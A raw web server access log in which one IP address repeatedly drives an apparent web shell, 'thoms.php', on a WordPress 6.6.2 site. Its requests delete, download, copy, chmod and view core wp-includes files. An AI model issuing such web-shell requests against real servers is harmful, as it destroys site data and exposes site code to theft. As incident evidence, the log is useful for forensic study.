45.135.193.11 - - [11/Sep/2026:23:31:52 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=ms-default-constants.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=ms-default-constants.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:52 -0400] "GET /thoms.php?del=user.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=user.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:53 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22284 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=ms-default-constants.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:53 -0400] "GET /thoms.php?dl=class-wp-block-pattern-categories-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-pattern-categories-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:53 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22250 "https://163.245.207.76:443/thoms.php?del=user.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:53 -0400] "GET /thoms.php?del=class-wp-customize-manager.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-manager.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:53 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22282 "https://163.245.207.76:443/thoms.php?dl=class-wp-block-pattern-categories-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:53 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22085 "https://163.245.207.76:443/thoms.php?del=class-wp-customize-manager.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:53 -0400] "GET /thoms.php?dl=class-wp-term-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-term-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:53 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-user.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-user.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:53 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?dl=class-wp-term-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:53 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-user.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:53 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-block-bindings-registry.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-block-bindings-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:53 -0400] "GET /thoms.php?dl=class-wp-http-ixr-client.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-ixr-client.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:53 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-block-bindings-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:53 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22219 "https://163.245.207.76:443/thoms.php?dl=class-wp-http-ixr-client.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:53 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode-key-service.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode-key-service.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:53 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-script-modules.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-script-modules.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:53 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode-key-service.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:53 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22187 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-script-modules.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:53 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=comment-template.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=comment-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:53 -0400] "GET /thoms.php?del=template-canvas.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=template-canvas.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:53 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=comment-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:54 -0400] "GET /thoms.php?del=theme.json&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=theme.json&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:54 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22226 "https://163.245.207.76:443/thoms.php?del=template-canvas.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:54 -0400] "GET /thoms.php?chmod=class-wp-term-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-term-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:54 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?del=theme.json&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:54 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=class-wp-term-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:54 -0400] "GET /thoms.php?dl=comment-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=comment-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:54 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-phpmailer.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-phpmailer.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:54 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=comment-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:54 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22226 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-phpmailer.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:54 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-block-editor-context.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-block-editor-context.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:54 -0400] "GET /thoms.php?dl=class-wp-customize-setting.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-setting.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:54 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-block-editor-context.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:54 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=class-wp-customize-setting.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:54 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-matchesmapregex.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-matchesmapregex.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:54 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-theme-json.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-theme-json.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:54 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22216 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-matchesmapregex.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:54 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-theme-json.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:54 -0400] "GET /thoms.php?chmod=class-wp-user.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-user.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:54 -0400] "GET /thoms.php?del=blocks.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=blocks.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:54 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22023 "https://163.245.207.76:443/thoms.php?chmod=class-wp-user.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:55 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=blocks.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:55 -0400] "GET /thoms.php?del=class-wp-duotone.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-duotone.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:55 -0400] "GET /thoms.php?dl=class-wp-taxonomy.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-taxonomy.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:55 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=class-wp-duotone.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:55 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=class-wp-taxonomy.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:55 -0400] "GET /thoms.php?dl=default-constants.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=default-constants.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:55 -0400] "GET /thoms.php?del=feed-rss2-comments.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=feed-rss2-comments.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:55 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22272 "https://163.245.207.76:443/thoms.php?dl=default-constants.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:55 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?del=feed-rss2-comments.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:55 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fhttp.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fhttp.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:55 -0400] "GET /thoms.php?chmod=theme-compat&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=theme-compat&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:55 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fhttp.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:55 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=theme-compat&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:55 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-comment.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-comment.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:55 -0400] "GET /thoms.php?chmod=class-wpdb.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wpdb.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:55 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22226 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-comment.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:55 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?chmod=class-wpdb.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:55 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=compat.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=compat.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:55 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=post.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:56 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22095 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=compat.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:56 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:56 -0400] "GET /thoms.php?chmod=vars.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=vars.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:56 -0400] "GET /thoms.php?chmod=block-i18n.json&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=block-i18n.json&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:56 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=vars.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:56 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?chmod=block-i18n.json&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:56 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fblocks HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fblocks" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
